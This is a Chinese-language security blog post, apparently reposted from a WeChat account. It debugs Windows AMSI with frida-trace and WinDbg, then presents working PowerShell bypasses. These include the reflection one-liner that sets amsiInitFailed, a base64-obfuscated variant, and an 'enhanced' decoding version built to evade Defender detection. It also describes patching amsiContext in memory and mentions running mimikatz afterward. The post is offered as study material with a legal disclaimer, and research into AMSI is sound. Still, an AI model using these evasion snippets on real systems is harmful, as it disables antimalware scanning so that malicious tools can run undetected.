AMSI调试及绕过

admin 2022年3月26日08:08:55评论99 views字数 2822阅读9分24秒阅读模式


测试环境:


AMSI调试及绕过



工具环境:


AMSI调试及绕过


测试过程:


首先我们要知道AMSI是一个什么东西,之前做过相关的分享,这里就不再去啰嗦其概念了,一句话概括,win10自带的一个扫描接口,其核心组件存在于amsi.dll内,与windows defender相辅相成,过程如下:


AMSI调试及绕过


更具体的函数结构体什么的,自己去看MSDN,链接给你们了。


https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiinitialize

https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession

https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions

https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanstring

https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer


我们下面便开始从调试开始然后编写绕过amsi的脚本,调试过程为windbg与frida。


frida-trace -p 15 -x amsi.dll -i Amsi*


使用-p指定进程powershell的Pid,-x指定dll,-i使用*通配符来指定我们需要监控的API。


AMSI调试及绕过


此时frida以及Hook住了amsi的相关函数,我们在powershell中输入字符串测试:


AMSI调试及绕过


我们虽然识别了对AmsiOpenSession、AmsiScanBuffer和AmsiCloseSession的调用,但无法了解其内部过程,frida在Hook时默认会生成js文件,我们可以更改此类文件,来改变其Hook时的输出,方便我们理解整个过程。


首先是AmsiScanBuffer,默认如下:


AMSI调试及绕过


将其更改如下:


AMSI调试及绕过


此时我们再来进行测试:


AMSI调试及绕过


此时以及变得容易查看与观看,然后我们输入经典的Amsi测试语句:


AMSI调试及绕过


不出意外的被拦截了,我们换成绕过的语句:


AMSI调试及绕过


从这个输入和输出,我们可以推断,WindowsDefender将“AmsiUtils”字符串标记为恶意。然而,我们很容易绕过了这个问题,即使用通过拆分和连接字符串进行保护。


下面我们打开windbg并也附加到powershell进程之中:


AMSI调试及绕过


在powershell中输入字符串,测试:


AMSI调试及绕过


所指的地方是其内存地址,我们使用windbg进行追踪:


AMSI调试及绕过


dc:双字值(4字节)和ASCII字符。每个显示行都会显示行中第一个数据的地址,并且每行最多显示8个16进制值以及它们对应的ASCII字符。默认的显示数量为32个DWORD(128字节)。


我们不知道其大小,但可以看到AMSI的ASCII字符,为了知道其调用方式,我们需要unassemble,AMSI模块的AmsiOpenSession功能


AMSI调试及绕过


我们可以看到我圈起来的地方有明显的内存比较的过程,而rcx将包含AmsiOpenSession的功能原型,其中有Jne指令,为跳转到0x4c,我们跟一下


AMSI调试及绕过


条件跳转最终导致函数退出,其静态值为80070057h,根据AmsiOpenSession函数原型我们可知,其为一个返回值为句柄的函数:


HRESULT AmsiOpenSession(  HAMSICONTEXT amsiContext,  HAMSISESSION *amsiSession);


而80070057h则代表:


AMSI调试及绕过


到此我们已经了解其大体过程,下面我们来使用windbg来走一遍,下断点,并将rcx中的amsi patch掉:


AMSI调试及绕过


此时便已经绕过了amsi打印出了我们的字符串。下面我们使用Powershell的反射来进行Amsi的绕过,其主要信息存储在:


System.Management.Automation.AmsiUtils


AMSI调试及绕过


这个好说,我们可以使用循环遍历方法来绕过,主要是获取amsiContext的值:


AMSI调试及绕过


将其转成hex便是它的内存地址:


AMSI调试及绕过


根据前面的测试我们知道,我们只需要patch前四个字节即可。我们将其patch之后,然后再来查看:


AMSI调试及绕过


此时已无AMSI,再来测试:


AMSI调试及绕过


当然你也可以使用下面这类方法:


[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFai led','NonPublic,Static').SetValue($null,$true)


新开一个powershell测试:


AMSI调试及绕过


没关系,我们来bypass,之前有人利用的是base64:


[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)


但现在已经会被标记并查杀了,我们这里对他进行增强:


function b64decode { param ($encoded)  $decoded = $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($en coded))  return $decoded }   $1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=")   $2 = b64decode("YW1zaUluaXRGYWlsZWQ=")   $3 = b64decode("Tm9uUHVibGljLFN0YXRpYw==")   [Ref].Assembly.GetType($1).GetField($2,$3).SetValue($null,$true)


AMSI调试及绕过


注:此类方法不太适合mimikatz,可以执行,但执行后便会被查杀。若非要使用,则最后使用变换过的mimikatz。







     ▼
更多精彩推荐,请关注我们


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!


AMSI调试及绕过



本文始发于微信公众号(鸿鹄实验室):AMSI调试及绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月26日08:08:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AMSI调试及绕过http://cn-sec.com/archives/532337.html

发表评论

匿名网友 填写信息